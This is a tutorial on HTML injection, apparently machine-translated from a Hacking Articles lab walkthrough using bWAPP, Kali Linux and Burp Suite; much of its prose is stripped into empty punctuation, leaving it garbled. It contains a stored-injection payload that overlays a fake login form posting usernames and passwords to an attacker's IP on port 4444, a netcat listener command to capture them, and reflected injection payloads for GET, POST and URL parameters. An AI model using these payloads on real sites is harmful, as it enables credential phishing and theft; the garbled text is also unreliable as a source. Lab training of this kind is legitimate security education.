Una guía completa para la inyección de HTML







HTML se considera el marco de cada aplicación web, definiendo su estructura. Pero a veces, incluso el ecosistema más sofisticado puede arruinarse con un par de scripts simples.







Hoy aprenderemos cómo los atacantes pueden acceder a una aplicación web utilizando errores en su código HTML.







Contenido:



  • ¿Qué es HTML?
  • HTML-?
  • HTML-
  • HTML- XSS


    • HTML
    • HTML

      • GET
      • POST
      • URL
  • HTML-


HTML?



HTML (HyperText Markup Langauge) — , - -. HTML -, «», « » , .







?







— -. ».













HTML-



HTML , :







  • «»
  • «»
  • «» . .


, , :







  • ( )
  • ( )


HTML-, -.







HTML



, . «/», « » .







<a href = "https://alexhost.com">       </a>
      
      





:









- HTML -.













HTML-



- HTML. , «.html», -.







, - hack.html:







<html>
<head>
<title> Hacking Articles lab</title>
</head>
<body bgcolor="pink">
<br>
<center><h2>WELCOME TO <a href=”http://hackingarticles.in”>HACKING ARTILCES </a></h2>
<br>
<p>Author “Raj Chandel”</p>
</center>
</body>
</html>
      
      





  • html — HTML-
  • head —
  • title — -
  • body — «bgcolor» «».
  • br — .
  • h1 — .
  • p —
  • a — , «».


HTML , .







, HTML -.







HTML-?



HTML- , .







, - :









html- HTML- , - .







, HTML-.







-, HTML- - . , «HTML- » , , « », .







« », , .













HTML-



-, :







  • (XSS)
  • (SSRF)


HTML- XSS



HTML- . XSS- Javascript , HTML- HTML .







HTML- , - .







HTML



« HTML» — -, , -. , , -, HTML- . HTML — « » , . HTML .







HTML



HTML- bWAPP, Kali Linux .







IP- bWAPP bee: bug, «Choose Your Bug» «HTML Injection – Stored (Blog)» .







-, HTML-, , .







, , -, , , « ».













, - IP-. HTML- , HTML-.







<div style="position: absolute; left: 0px; top: 0px; width: 1900px; height: 1300px; z-index:1000; background-color:white; padding:1em;">Please login with valid 
credenitals:<br><form name="login" action="http://192.168.0.7:4444/login.htm">
<table><tr><td>Username:</td><td><input type="text" name="username"/></td></tr><tr><td>Password:</td>
<td><input type="text" name="password"/></td></tr><tr>
<td colspan=2 align=center><input type="submit" value="Login"/></td></tr>
</table></form>
      
      











, «Submit» , - .













netcat 4444, .







nc –lvp 4444
      
      





, .













, «Raj» - «123». .













, .







HTML



HTML , - , . , HTML.







-, , .







HTML -, HTML-. - , HTML-.







HTML :







  • HTML GET. .
  • HTML POST. / .
  • HTML URL.


HTML GET



-, .

«Raj Chandel» «Good», «Thanks to Raj Chandel for your valuable time».













«/» URL- , HTML-.







HTML- «» .







<h1>Raj Chandel</h1>
      
      





"" "Good".







, Raj Chandel .













? .













, , «$ _GET».







« , , HTML- ».







, HTML- .













, ?







, «burp suite», «Repeater».













«Repeater», «Go» , HTML :













HTML-:







<a href = http://hackingarticles.inhibited> <h2> Raj </h2> </a>
      
      





«Decoder», «Encode as» URL-.

, «Encode as» URL, URL-.













URL «name =» Repeater Request. «GO», .







!!! , .













«Proxy» «Forward». , -, .













, , .







, «hack» . «<» «>» $data $input, PHP- urldecode over $input URL.













, «hack» .













HTML POST



- GET, «» «».

POST, URL-.

, .







<img src= "https://www.ignitetechnologies.in/img/logo-blue-white.png">
      
      





, «Ignite technologies» , -, :















HTML URL



- HTML- -? , , :









URL- -, HTML- .













, URL- - «http://192.168.0.16/hack/html_URL.php». , .







«burp suite» HTTP-.













:







/hack/html_URL.php/<h1>Hey_are_you_there?</h1> 
      
      





«Forward», .













!!! , -, HTML- URL- -.













PHP $ _SERVER URL- . , «HTTP_HOST» URL- «REQUEST_URI» $url.













HTML, echo $ url - , URL-.













HTML-



  • HTML-, .
  • , - , .


imagen








All Articles